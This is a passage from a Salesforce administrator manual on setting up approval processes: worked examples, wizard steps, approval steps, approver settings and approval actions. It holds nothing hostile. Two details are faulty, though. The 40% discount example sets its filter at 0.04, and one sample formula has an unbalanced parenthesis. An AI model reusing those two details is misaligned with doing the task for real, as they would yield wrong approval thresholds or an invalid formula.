If your company requires that employees file expense reports for managers to approve, automate this process in Salesforce. Use this example to create a two-step expense report approval process for all employees in your headquarters office. It specifies that expenses less than $50.00 are automatically approved, those $50 and over require manager approval, and those over $5,000 require additional approval from two VPs. This example highlights the else option, as well as the parallel approvals feature. If you do not yet have a custom object to track your expenses, create a custom object and tab called Expense Reports. See Defining Custom Objects on page 1604 and Defining Custom Tabs on page 1631. Add the appropriate fields such as Amount, Description, Status, Start Date, and End Date. Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 436. Create a custom field on the user object called Office Location. Assign the HQ value to users in the headquarters office location. Create the approval process and specify the following: Select the Expense Report custom object. The filter criteria for this approval process is Current User: Office Location equals HQ. Records must meet this criteria before they can be submitted to this approval process. Choose the Manager field as the next automated approver. Select the email template you created for this approval process. Choose the record owner or any other user who you want to be able to submit expense reports. Create two approval steps:

1687

Create

Getting Started with Approval Processes

Name this step Step 1: Manager Approval Select Enter this step if the following and choose criteria are met. Also, choose approve record for the else option. Set the filter criteria to: Expense: Amount greater or equal 50. In the Automatically assign to approver(s) option, select the manager of the user submitting the request. If appropriate, choose The approver's delegate may also approve this request if you want to allow the user in the Delegated Approver field to approve requests.

Name this step Step 2: Multiple VP Approval Use the filter criteria Expense Amount greater or equal 5000. Choose Automatically assign to approver(s) and select two users with a VP role. Select the Require UNANIMOUS approval from all selected approvers option. The request will not be approved unless both designated users approve. If appropriate, choose The approver's delegate may also approve this request if you want to allow the user in the Delegated Approver field to approve requests. Choose Perform ONLY the rejection actions for this step... so that the request returns to the manager for changes if one of the VPs rejects the request.

Consider creating the following final approval actions: Define a field update to automatically change the Status field to Approved. Send an approval notification to the user who submitted the expense report. Send an outbound message to your backoffice financial system to print a reimbursement check.

Add the Approval History related list to the Expense Report object page layout. See Customizing Page Layouts on page 1191. Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the approval requests they need to approve or reject. For instructions on adding this component to your home page layouts, see Designing Home Tab Page Layouts on page 1214. If available, use your sandbox to test the approval process. Activate the approval process.

Discounting Opportunities
Opportunities that are discounted more than 40% require a CEO approval. Use this example to create a one-step approval process. Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 436. Create a custom percent field on opportunities called Discount Percent so that users can enter a percentage discount. Create a custom checkbox field on opportunities called Discount Approved to indicate if the CEO approved the discount. Create the approval process and specify the following: Select the Opportunity object.

1688

Create

Getting Started with Approval Processes

The filter criteria for this approval process is Discount Percent greater or equal 0.04. Records must meet this criteria before they can be submitted to this approval process. No need to choose a custom field as the next automated approver because you will specify later in the process that the CEO must approve all requests. Select the email template you created for this approval process. Choose the record owner as the only user who can submit a discount request for approval. Create one approval step with no filter criteria because all records submitted will need to be approved or rejected. See Creating Approval Steps on page 1700. Choose Automatically assign to approver(s) and select the name of your CEO. If appropriate, choose The approver's delegate may also approve this request if you want to allow the user in the Delegated Approver field to approve requests. Consider creating the following final approval actions: Send an approval notification to the user who submitted the discount request. Define a field update to automatically select the opportunity Discount Approved checkbox field.

Add the Approval History related list to the appropriate opportunity page layouts See Customizing Page Layouts on page 1191. Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the approval requests they need to approve or reject. For instructions on adding this component to your home page layouts, see Designing Home Tab Page Layouts on page 1214. If available, use your sandbox to test the approval process. Activate the approval process.

Job Candidates
When your company interviews candidates for a position, you may have several levels of approval before you can send an offer letter. Use this example to create a three-step approval process that requires approval from multiple levels of management. If you do not yet have a custom object to track candidates, create a custom object and tab called Candidates. See Defining Custom Objects on page 1604 and Defining Custom Tabs on page 1631. Add the appropriate fields such as Salary, Offer Extended (checkbox), and Date of Hire. Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 436. Create the approval process using the following specifications: Select the Candidate custom object. Don't enter a filter criteria because you want all submitted offers to be approved. Choose the Manager field as the next automated approver. Select the email template you created for this approval process. Choose the record owner or any other user that you want to be able to submit offer letters. Create three approval steps: Name this step Step 1: Manager Approval No filter is necessary as you want all records to advance to this step.

1689

Create

Getting Started with Approval Processes

In the Automatically assign to approver(s) option, select the manager of the user submitting the request. If appropriate, choose The approver's delegate may also approve this request if you want to allow the user in the Delegated Approver field to approve requests.

Name this step Step 2: VP Approval No filter is necessary as you want all records to advance to this step. Choose Let the user choose the approver to allow the manager to select the appropriate VP to approve the request. If appropriate, choose The approver's delegate may also approve this request if you want to allow the user in the Delegated Approver field to approve requests. Choose Perform ONLY the rejection actions for this step... so that the request returns to the manager for changes if the VP rejects the request.

Name this step Step 3: CFO Approval No filter is necessary as you want all records to advance to this step. Choose Automatically assign to approver(s) and select the name of your CFO. If appropriate, choose The approver's delegate may also approve this request if you want to allow the user in the Delegated Approver field to approve requests. Choose Perform all rejection actions for this step AND all final rejection actions. (Final Rejection) so that offer letters rejected by your CFO are completely rejected.

Consider creating the following final approval actions: Send an approval notification to the user who submitted the offer letter request. Define a field update to select the Offer Extended checkbox field.

Consider creating the following final rejection actions: Send a notification to the manager that the offer will not be extended.

Add the Approval History related list to the Candidates object page layout. See Customizing Page Layouts on page 1191. Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the approval requests they need to approve or reject. For instructions on adding this component to your home page layouts, see Designing Home Tab Page Layouts on page 1214. If available, use your sandbox to test the approval process. Activate the approval process.

1690

Create

Getting Started with Approval Processes

Choosing an Approval Process Wizard


Available in: Enterprise, Unlimited, and Developer Editions

Approval processes require planning and preparation. Before you create an approval process, determine which wizard is best for your needs. Jump Start Wizard The jump start wizard is useful for simple approval processes with a single step. Use the jump start wizard if you want to create an approval process quickly by allowing Salesforce to automatically choose some default options for you. For a list of the options the jump start wizard chooses automatically, see Approval Process Jump Start Default Selections on page 1721. To create an approval process using the jump start wizard, see Using the Approval Process Jump Start Wizard on page 1717. Standard Wizard The standard wizard is useful for complex approval processes. Use it when you want to fine tune the steps in your approval process. The standard wizard consists of a setup wizard that allows you to define your process and another setup wizard that allows you to define each step in the process. To create an approval process using the standard wizard, see Creating Approval Processes on page 1694.

See Also:
Approval Processes Overview Getting Started with Approval Processes Examples of Approval Processes

Approval Process Considerations


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use approvals: Various user permissions required depending on the action

Before you implement an approval process for your organization, consider the following: Active approval processes cannot be deleted but they can be deactivated. Before deleting an approval process, make sure it is inactive and that no records have been submitted for approval. If any records have been submitted, delete them and remove them from the Recycle Bin.

1691

Create

Getting Started with Approval Processes

You can enable email approval response. The email approval response feature gives users the ability to approve or reject email approval requests by replying to the email. After an approval process is activated, you can't add, delete, or change the order of the steps or change reject or skip behavior for that process, even if you make the process inactive. There is a limit of 15 steps per process. There is a limit of 25 approvers per step. If you make your approval object a detail object in a master-detail relationship, the Owner field isnt available for approval page layouts or approval post templates. Educate your users on the criteria for each approval process and what each of your approval processes does. Users cannot tell what approval process is triggered when they click Submit for Approval. Records are locked while in an approval process. The ability to edit a locked record depends on the record editability setting of the approval process: Administrators ONLY: Only users with the Modify All object-level permission for the given object, or the Modify All Data permission, can edit locked records. Administrators or the currently assigned approver...: The current approver and users who match the Administrators ONLY criteria can edit locked records. The current approver must also have edit access to the record through their permissions and the organization-wide sharing defaults for the given object.

You can still add campaign members to campaigns locked for approval. An error message displays for the user submitting an approval request if the approval request needs to go to the user's direct manager and there is no direct manager for that user. An error message displays for the user submitting an approval request if the approval process has a field update that fails field validation rules. This could happen for a field that is not visible on the user's page layout. An error message displays for the user submitting an approval request for an entitlement or service contract if both these conditions are met: The approval process includes Record Owner as an initial submitter The user submitting the approval request isn't the owner of the account associated with the entitlement or service contract

The Status field cannot be updated by approval processes. If you want to use the contract status as part of an approval process, Salesforce recommends creating a custom status field. Approval processes that allow the user to select an approver manually also allow the user submitting a request to select himself or herself as the approver. You cannot use email approval response with approval processes in which the assigned approver is a queue. You cannot create outbound messages for approval processes on junction objects. When the assigned approver is a queue: Any queue member can approve or reject an approval request that is assigned to the queue. When an approval request is assigned to a queue, the email notification is sent to the email address for the queue. Depending on your queue settings, an email notification is also sent to each queue member. When an approval request is assigned to a queue, each queue member's delegated approver also receives an approval request email notification. When an approval request is rejected and returned to the previous approver and the previous approver was a queue, the approval request is assigned to the user who approved it, instead of the queue. The Approval History related list displays the queue name in the Assigned To column and the actual user who approved or rejected the approval request in the Actual Approver column.

1692

Create

Managing Approval Processes

Note: Queues are only available on specific objects. For more information on queues, see Managing Queues on page 559.

See Also:
Getting Started with Approval Processes Approval Process Terminology Approval Processes Overview Process Visualizer Overview Examples of Approval Processes

Managing Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, delete, or clone approval processes: To view approval processes: Customize Application View Setup and Configuration

An approval process is an automated process your organization can use to approve records in Salesforce. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval. To manage approval processes, click Your Name > Setup > Create > Workflow & Approvals > Approval Processes. Select an object from the drop-down list to create, edit, or delete approval processes for that object. To create a new approval process, click Create New Approval Process. See Creating Approval Processes on page 1694. To change the order of your active approval processes, change the numbers in the Process Order column and click Reorder. Click Del next to an inactive approval process to delete it. Before deleting an approval process, make sure it is inactive and that no records have been submitted for approval. If any records have been submitted, delete them and remove them from the Recycle Bin. Click Edit next to an approval process to change it. Click Activate next to an inactive approval process to activate it. An approval process must have at least one step before you can activate it. Click Deactivate next to an active approval process to make it inactive. The approval process moves to the list of inactive approval processes. Select an approval process to view the details: Click Clone to create a new approval process based on the selected approval process. Click Deactivate to make the approval process inactive.

1693

Create

Managing Approval Processes

Click Delete to delete an inactive approval process. Before deleting an approval process, make sure it is inactive and that no records have been submitted for approval. If any records have been submitted, delete them and remove them from the Recycle Bin. Click Edit and choose an option from the drop-down button to jump to the appropriate wizard page: Specify Name, Unique Name, and Description Specify Criteria for Entering Process Specify Approver Field and Record Editability Select Email or Chatter Post Notification Template Configure Approval Request Page Layout Specify Initial Submitters

Tip: You can use the Developer Console to debug workflow rules. The Developer Console lets you view debug log details and information about workflow rules and actions, such as the name of the user who triggered the workflow rule and the name and ID of the record being evaluated.

See Also:
Getting Started with Approval Processes Approval Process Terminology Approval Process Checklist Managing Multiple Approval Requests Process Visualizer Overview Examples of Approval Processes

Creating Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create approval processes: Customize Application

An approval process is an automated process your organization can use to approve records in Salesforce. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval. Before you begin, determine which wizard to use. See Choosing an Approval Process Wizard on page 1691. To create an approval process: 1. Launch the Approval Process Wizard. 2. Specify Name, Unique Name, and Description. 3. Specify Criteria for Entering Process.

1694

Create

Managing Approval Processes

4. 5. 6. 7. 8.

Specify Approver Field and Record Editability. Select Email or Chatter Post Notification Template. Configure Approval Request Page Layout. Specify Initial Submitters. Activate the Approval Process.

Launch the Approval Process Wizard 1. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes. 2. Choose the object for the new approval process. 3. Click Create New Approval Process and choose Use Standard Setup Wizard from the drop-down button. Alternatively, click Use Jump Start Wizard if you want to create a basic approval process with default settings. For instructions on using the jump start wizard, see Using the Approval Process Jump Start Wizard on page 1717. Specify Name, Unique Name, and Description 1. Enter a name for the new approval process. 2. Enter a unique name, which will be used to refer to this approval process in the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. The requirement for uniqueness is only within the selected object type. You can have two approval processes with the same unique name, provided they are defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 3. Optionally, enter a description. 4. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store your changes. Specify Criteria for Entering Process If only certain types of records should enter this approval process, do one of the following: Select criteria are met if you want to set a filter criteria that a record must meet to enter this approval process. For example, if only employees from headquarters should use this approval process to submit expense reports, enter the following filter criteria: Current User: Office Location Equals Headquarters. For more information on using filter criteria, see Entering Filter Criteria on page 2645. 1. Enter filter criteria for records that you want included in this approval process. Leave the filter blank if you want all records submitted to be included in the approval process. For information on using filter criteria, see Entering Filter Criteria on page 2645. Note: Select a current user field if you want to filter based on the user submitting an approval request.

2. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store your changes. Select formula evaluates to true if you want a formula to determine what records enter the approval process. 1. Enter a formula that returns True or False. A record enters the approval process if the formula returns True. For example, use the following formula to require a record to enter this approval process when the record's discount approval cutoff date is less than 30 days away:
(Discount_Approval_CutoffDate__c < (CloseDate - 30)

1695

Create

Managing Approval Processes

2. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store your changes. For information on using formulas, see Building Formulas on page 1053. Some functions are not available in approval process formulas. For information on which functions you can use in approval process formulas, see Operators and Functions on page 1107. Specify Approver Field and Record Editability When you define approval steps, you can assign approval requests to different users. One option is to use a user field to automatically route these requests. The user field can be any custom hierarchical relationship field such as Account Manager or the Manager standard user field. To see some examples of specifying a user field as an approver field, see Examples of Approval Processes on page 1686. When a record is in the approval process, it is always locked; only an administrator can edit it. However, you can also allow the currently-assigned approver to edit the record. You can still add campaign members to campaigns locked for approval. 1. From the Next Automated Approver Determined By picklist, select a user field if you want Salesforce to automatically assign approval requests to an approver based on the value in the user field. For example, you may want approval requests automatically routed to a user's manager as specified in the Manager standard user hierarchy field. Or, you may want approval requests automatically routed to an associate specified in a custom Account Manager user field. To specify a user to approve all approval requests, leave this field blank. You can select a user, or users, as the approver when creating an approval step. Caution: If you leave the Next Automated Approver Determined By field blank, you can't automatically assign approval requests to the manager in any step you create for this approval process. Optionally, select the Use Approver Field of Record Owner checkbox if you want the approval process to use the Manager standard user field or a custom field on the record owner's user record instead of the submitter's user record. Once you use this setting in a step, and in subsequent steps, it refers to the manager of the approver, not the manager of the record owner. Note: Make sure the assigned approver has access to read the records for the approval requests. For example, a user who does not have read access to an Expenses custom object will not be able to view expense approval requests. 2. Select Administrators ONLY... if you want only users with the Modify All object-level permission for the given object, or the Modify All Data permission, to be able to edit records that are pending approval. Select Administrators OR... if you want the assigned approver to be able to edit the records too. The assigned approver must also have edit access to the record through both their permissions and the organization-wide sharing defaults for the given object. When a record is submitted for approval, it is automatically locked to prevent other users from editing it during the approval process. 3. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store your changes. Select Email or Chatter Post Notification Template When an approval process assigns an approval request to a user, Salesforce automatically sends the user an approval request email. The email contains a link to the approval page in Salesforce, where the user can approve or reject the request and add comments. If email approval response is enabled, the user can alternatively reply to the email by typing approve, approved, yes, reject, rejected, or no in the first line of the email body, and adding comments in the second line. This option is especially useful for users who might receive approval requests on a mobile device. If your organization has Approvals in Chatter enabled, you can also elect to send your approver a notification via Chatter.

1696

Create

Managing Approval Processes

Note: Chatter post approval notifications are only available for approval processes associated with an object that has been enabled for feed tracking. If the assigned approver has opted to receive approval notifications as Chatter posts, they'll see a post on their Chatter feed in addition to getting the approval request email. 1. Choose a custom email template to use when notifying approvers that an approval request is assigned to them, or leave this field blank to use the default email template. Each approval process uses a single email template for all steps. For more information on creating email templates, see Managing Email Templates on page 436. Note: If email approval response is enabled, be sure the email template you use describes how to correctly use both response options: clicking the link and replying by email. If the user doesn't respond correctly (for example, if the user misspells approve or types it on the wrong line), Salesforce doesn't register the user's response. If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name}, these fields will return values only when that email template is used as the approval assignment template. If you use the template for any other email alert actionin either workflow rules or approval processesthe merge fields will return a null value. 2. If available, choose an approval post template to use when notifying approvers via a post in their Chatter feed. If you don't pick an approval post template, the approval post for the object uses either the system default template or, if you created one, the default template for the object. For more information on creating approval post templates, see Creating and Editing Approval Request Post Templates for Chatter on page 1716. Note: Only users with access to the approval record can see the approval request post. Comments on approval posts aren't persisted to the approval record. 3. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store your changes. Configure Approval Request Page Layout The approval page is where an approver approves or rejects a request. 1. Select the fields you want to display on the approval request page and click Add. 2. Sort the fields by selecting them and clicking Up or Down. 3. Select Display approval history information... to include the Approval History related list that lists such fields as Date, Assigned To, Actual Approver, and Comments. To modify the fields displayed on the Approval History related list, see Customizing Page Layouts on page 1191. 4. Select Add Approval History Related List... to update all the page layouts for this object to include a related list that allows users to submit approval requests and track them. 5. Choose a security setting:
Allow approvers to access the approval page only from within the application

Requires users to log in to Salesforce before approving or rejecting an approval request.


Allow approvers to access the approval page only from within the application, or externally from a wireless-enabled mobile device

Users can approve requests from the email notification they receive via a wireless device. Note that this prevents the approver from selecting a Salesforce user as the next approver. 6. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store your changes.

1697

Create

Managing Approval Processes

Specify Initial Submitters Specify which users are allowed to submit records for approval. For example, choose Owner if expense reports can only be submitted by record owners. 1. Select a Submitter Type, enter a search term, and click Find. 2. Select from the list of available submitters and click Add. 3. Optionally, select Allow submitters to recall approval requests to give submitters the option to withdraw their approval requests. If the Allow submitters to recall approval requests option is selected for the approval process, both submitters and administrators can see the Recall Approval Request button in the Approval History related list on the detail page of submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request, the pending approval request for the record is withdrawn and recall actions are run. For more information, see Recall Actions on page 1709. This option is useful for situations that can change on the submitter's side while waiting for an approval. For example, an opportunity might be lost after the user submits it for approval. 4. Click Save. Activate the Approval Process Activate the process after you have created at least one approval step for the approval process. See Creating Approval Steps on page 1700. To activate a process: 1. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store your changes. 2. Click Activate next to the process.

See Also:
Getting Started with Approval Processes Managing Approval Processes Managing Approval Steps Customizing Workflow and Approval Settings Initial Submission Actions Final Approval Actions Final Rejection Actions Recall Actions Selecting Approval Actions Creating Approval Actions Process Visualizer Overview Approval Process Considerations Examples of Approval Processes Getting Started With Approvals in Chatter

Viewing Your Approval Process

1698

Create

Managing Approval Processes

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view approval processes: Customize Application

To view the details of an approval process, go to Your Name > Setup > Create > Workflow & Approvals > Approval Processes and click a process name. In the header of the approval process detail page you can: Edit, clone, or delete the process. Activate or deactivate the process. Click View Diagram to see a graphical representation of the process in the Process Visualizer. View the process name, unique name, description, entry criteria, record editability, and initial submitters. See which email template is assigned to the process. If Approvals in Chatter is enabled in your organization, see which approval request Chatter post template is assigned to the process. If the Approval Post Template field is blank, then the process is using either the system default post template or the object's custom default post template. See if the process is active. See what determines the next automated approver. See if submitters are allowed to recall approval requests.

From the related lists on this page you can: Add an existing action. Create a new action and apply it to the process. Edit or remove actions. Add a new approval step. Edit or delete steps.

See Also:
Managing Approval Processes

Managing Approval Steps

1699

Create

Managing Approval Processes

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit or delete approval steps: To view approval steps: Customize Application View Setup and Configuration

Approval steps assign approval requests to various users and define the chain of approval for a particular approval process. Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval step in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process also allow you to specify what happens if an approver rejects the request. To manage the steps for an approval process, click Your Name > Setup > Create > Workflow & Approvals > Approval Processes and then select the approval process. The Approval Steps related list shows all the steps and actions for the approval process. If the actions for each step are not listed, click Show Actions to display the Approval Actions and Rejection Actions related lists. Use these related lists to: Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules that use it. This option is only available for some types of actions. Click Remove to remove the action from the approval process. This does not delete the action. This option is only available for some types of actions. Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1710. Click Add New and select the appropriate type to create a new action and associate it with the approval process. See Creating Approval Actions on page 1711. Click Hide Actions to collapse the list of approval steps. Click Edit to change the step. For information on approval step attributes, see Creating Approval Steps on page 1700. Click Del to remove a step. This option is not available when the approval process is active. Click New Approval Step to create an additional step. This option is not available when the approval process is active. See Creating Approval Steps on page 1700.

See Also:
Approval Process Terminology Getting Started with Approval Processes Process Visualizer Overview Examples of Approval Processes Creating Approval Steps

1700

Create

Managing Approval Processes

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create approval steps: Customize Application

Approval steps assign approval requests to various users and define the chain of approval for a particular approval process. Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval step in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process also allow you to specify what happens if an approver rejects the request. The actions you associate with an approval step can be reused in workflow rules. To create approval steps: 1. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes, and select the name of the approval process. 2. Click New Approval Step from the Approval Steps related list. If this button is not available, the approval process is active and you cannot add more steps. There is a limit of 15 steps per process. 3. Enter a name, a unique name, and description for this step. Note: The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. The unique name will be used to refer to this specific approval process step in the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. The requirement for uniqueness is only within a specific approval process. You can have two approval process steps with the same unique name, provided they are defined for different approval processes. 4. Enter a step number that determines the order of this step in relation to the other steps in this approval process. 5. Click Next. 6. If only records with certain attributes should enter this step, select Enter this step if the following... and choose one of the following options: Select criteria are met and set the filter criteria a record must meet to enter this step. For example, if this step should only apply to records submitted by employees from headquarters, enter the following filter criteria: Current User: Office Location Equals Headquarters. For more information on using filter criteria, see Entering Filter Criteria on page 2645. Select formula evaluates to true and enter a formula that returns a value of True or False. Records enter this step only if the formula returnsTrue. For example, use the following formula to require a record to enter this approval step when the record's discount percentage is greater than the most recent approver's discount threshold:
(Discount_Percentage__c > $User.Discount_Threshold__c)

For information on using formulas, see Building Formulas on page 1053. Some functions are not available in approval step formulas. For information on which functions you can use in approval step formulas, see Operators and Functions on page 1107. 7. If you specified filter criteria or entered a formula, choose what should happen to records that do not meet the criteria or if the formula does not return True.

1701

Create

Managing Approval Processes

Note: You cannot change your selection after the approval process has been activated, even if you deactivate the approval process. The options are:
approve record

Automatically approves the request and performs all final approval actions.
reject record

Automatically rejects the request and performs all final rejection actions. This option is only available for the first step in the approval process.
go to next step

Automatically skips this step and goes to the next step. Important: The go to next step option is only available when editing a step that already has an ensuing step. To select go to next step, create an ensuing step, then select this option in the preceding step. The go to next step option is unavailable for the final step in the approval process. If you select go to next step in a step and delete all the ensuing steps, Salesforce automatically removes the go to next step definition from that step and ends the process if the step criteria are not met. However, if you select go to next step in your first step and delete all the ensuing steps, Salesforce changes the first step to automatically reject record if the step criteria are not met. If you select go to next step in the first step and the record does not meet the criteria for any of the steps in the approval process, the record is rejected.

8. Click Next. 9. Specify who must approve the approval requests that enter this step. The options are:
Let the submitter choose the approver manually.

Prompts the user to manually select the next approver.


Automatically assign using the user field selected earlier.

Assigns the approval request to the user in the custom field that is displayed next to this option. This custom field was selected during the configuration of the approval process. See Creating Approval Processes on page 1694.
Automatically assign to a queue.

Assigns the approval request to a particular queue. Queues are only available on specific objects. For more information on queues, see Managing Queues on page 559. For more information on approval requests assigned to queues, see Approval Process Considerations on page 1691.
Automatically assign to approver(s).

Assigns the approval request to one or more of the following:


User

Any Salesforce user in your organization.

1702

Create

Managing Approval Processes

Related User

A user specified in any user lookup field on the submitted record, such as the Last Modified By field. Use Add Row and Remove Row to change the number of approvers. There is a limit of 25 approvers per step. Note: When specifying approvers, note the following: Make sure the assigned approvers have permission to read the records for the approval request. For example, a user who does not have read access to an Expense custom object can't view expense approval requests. You can't assign approval requests to partner users. You can't use email approval response with an approval process in which a queue is the assigned approver. You can assign an approval request to the same user multiple times in a single step; however, Salesforce recognizes such redundancies and only requests a single approval from the user. After a record enters an approval step, the designated approvers for that step don't change even if the approval process returns to that step and the values of related user fields that designate the approvers have changed. For example, consider an approval process in which the first step requests approval from a user's manager. If the approval request is rejected in the second step and sent back to the first step, the user's original manager receives the approval request again even if the user's manager has changed.

10. If you specify multiple approvers in the Automatically assign to approver(s) option, choose one of the following: Approve or reject based on the first response. The first response to the approval request determines whether the record is approved or rejected. Require unanimous approval from all selected approvers. The record is only approved if all of the approvers approve the request. The approval request is rejected if any of the approvers reject the request. 11. Optionally, select The approver's delegate may also approve this request. A delegate is the user listed in the Delegated Approver field on the assigned approver's user detail page. Delegated approvers can't reassign approval requests; they can only approve or reject approval requests. 12. If this is not the first step in the approval process, specify what will happen if the approver rejects a request in this step:
Perform all rejection actions...

Automatically rejects the request completely regardless of any previous steps that were approved. Salesforce performs all rejection actions specified for this step and all final rejection actions.
Perform ONLY the rejection actions for this step...

Automatically rejects the request and returns the approval request to the previous approver. Salesforce performs all rejection actions specified for this step. Note: If this is the first step in an approval process, the rejection behavior is determined by the Final Rejection Actions for the approval process. 13. Click Save. 14. Specify any workflow actions you want to occur during this step: Yes, I'd like to create a new approval action... Select the type of action and click Go! to begin creating an action and associate it with this approval step.

1703

Create

Managing Approval Processes

Yes, I'd like to create a new rejection action... Select the type of action and click Go! to begin creating an action and associate it with this approval step. No, I'll do this later... Select this option and click Go! to view the details of the approval process. Approval actions execute when a record in this step of the approval process is approved. Rejection actions execute when a record in this step is rejected. For instructions on adding actions, see Selecting Approval Actions on page 1710 and Creating Approval Actions on page 1711. 15. Optionally, add additional approval actions and rejection actions to the step. Click Show Actions next to a step to view the Approval Actions and Rejection Actions related lists.

See Also:
Approval Process Terminology Getting Started with Approval Processes Managing Approval Steps Managing Approval Processes Process Visualizer Overview Examples of Approval Processes Changing Your Approval User Preferences Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view approval processes: To approve, reject, or reassign approval requests: View Setup and Configuration Permissions vary depending on the approval process settings

The Approver Settings section of the User detail page lets you set your preferences for receiving approval request emails, including opting not to receive them at all. To set up or edit your Approver Settings, click Your Name > Setup > My Personal Information > Personal Information. Click Edit on the User detail page. In the Approver Settings section, you can: Optionally, select your Delegated Approver. Optionally, enter your Manager. Set your preference for receiving approval request emails. The options are: If I am an approver or delegated approver Only if I am an approver Only if I am a delegated approver

1704

Create

Managing Approval Processes

NeverIf you select this option, you won't receive any approval request emails, even if your organization has email approval response enabled. However, if the assignee of an approval step is a queue, selecting Never may not block all approval request emails, depending the queue settings. When an approval request email is sent to the assigned approver, the delegated approver also receives an email notification that there is an approval request to review. Delegated approvers can't reassign approval requests; they can only approve or reject approval requests. Note: When an approval request is assigned to a queue, each queue member's delegated approver also receives an approval request email notification. For more information about approval requests and queues, see Approval Process Considerations on page 1691.

See Also:
Managing Approval Steps Creating Approval Steps Approval Process Terminology Creating Queues

Initial Submission Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit initial submission actions: Customize Application

Initial submission actions are the actions that occur when a user first submits a record for approval. By default, an action to lock the record runs automatically on initial submission. Initial submission actions can include any approval actions such as email alerts, field updates, tasks, or outbound messages. For example, an initial submission action can update a custom approval status field to In Progress. When a user submits a record for approval, Salesforce sends an approval request email to the approver as defined in the approval step, and then executes a default initial submission action called Record Lock. You can select up to 40 additional actions to occur when a record is initially submitted for approval, 10 of each of the following types: Type Task Email Alert Field Update Outbound Message Description Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task. Uses an email template you specify to send an email to a designated recipient. Changes the value of a selected field. You can specify a value or create a formula for the new value. Sends a message to an endpoint you designate. You can also specify a username and the data you want to include in the message.

1705

Create

Managing Approval Processes

To manage the initial submission actions for an approval process, click Your Name > Setup > Create > Workflow & Approvals > Approval Processes and select the approval process. The Initial Submission Actions related list shows all the actions that take place when a record is submitted for approval. Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules that use it. This option is only available for some types of actions. Click Remove to remove the action from the approval process. This does not delete the action. This option is only available for some types of actions. Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1710. Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next, configure the action: Configure the email alert. Configure the field update. Configure the outbound message. Configure the task.

See Also:
Approval Process Terminology Getting Started with Approval Processes Managing Approval Steps Managing Approval Processes Process Visualizer Overview

Final Approval Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit final approval actions: Customize Application

Final approval actions are the actions that occur when all required approvals have been given for a record. Final approval actions can include email alerts, field updates, tasks, or outbound messages. For example, a final approval action can change the status to Approved and send an email notification. When a record has been approved by all approvers, Salesforce executes all final approval actions. A default final approval action called Record Lock is selected for you. You can modify it to automatically lock or unlock the record. You can select up to 40 additional actions to occur when a record is finally approved, 10 of each of the following types: Type Task Description Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task.

1706

Create

Managing Approval Processes

Type Email Alert Field Update Outbound Message

Description Uses an email template you specify to send an email to a designated recipient. Changes the value of a selected field. You can specify a value or create a formula for the new value. Sends a message to an endpoint you designate. You can also specify a username and the data you want to include in the message.

To manage the final approval actions for an approval process, click Your Name > Setup > Create > Workflow & Approvals > Approval Processes, and select the approval process. The Final Approval Actions related list shows all the actions that take place when a record is finally approved. Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules that use it. This option is only available for some types of actions. Click Remove to remove the action from the approval process. This does not delete the action. This option is only available for some types of actions. Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1710. Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next, configure the action: Configure the email alert. Configure the field update. Configure the outbound message. Configure the task.

See Also:
Approval Process Terminology Getting Started with Approval Processes Managing Approval Steps Managing Approval Processes Process Visualizer Overview

Final Rejection Actions

1707

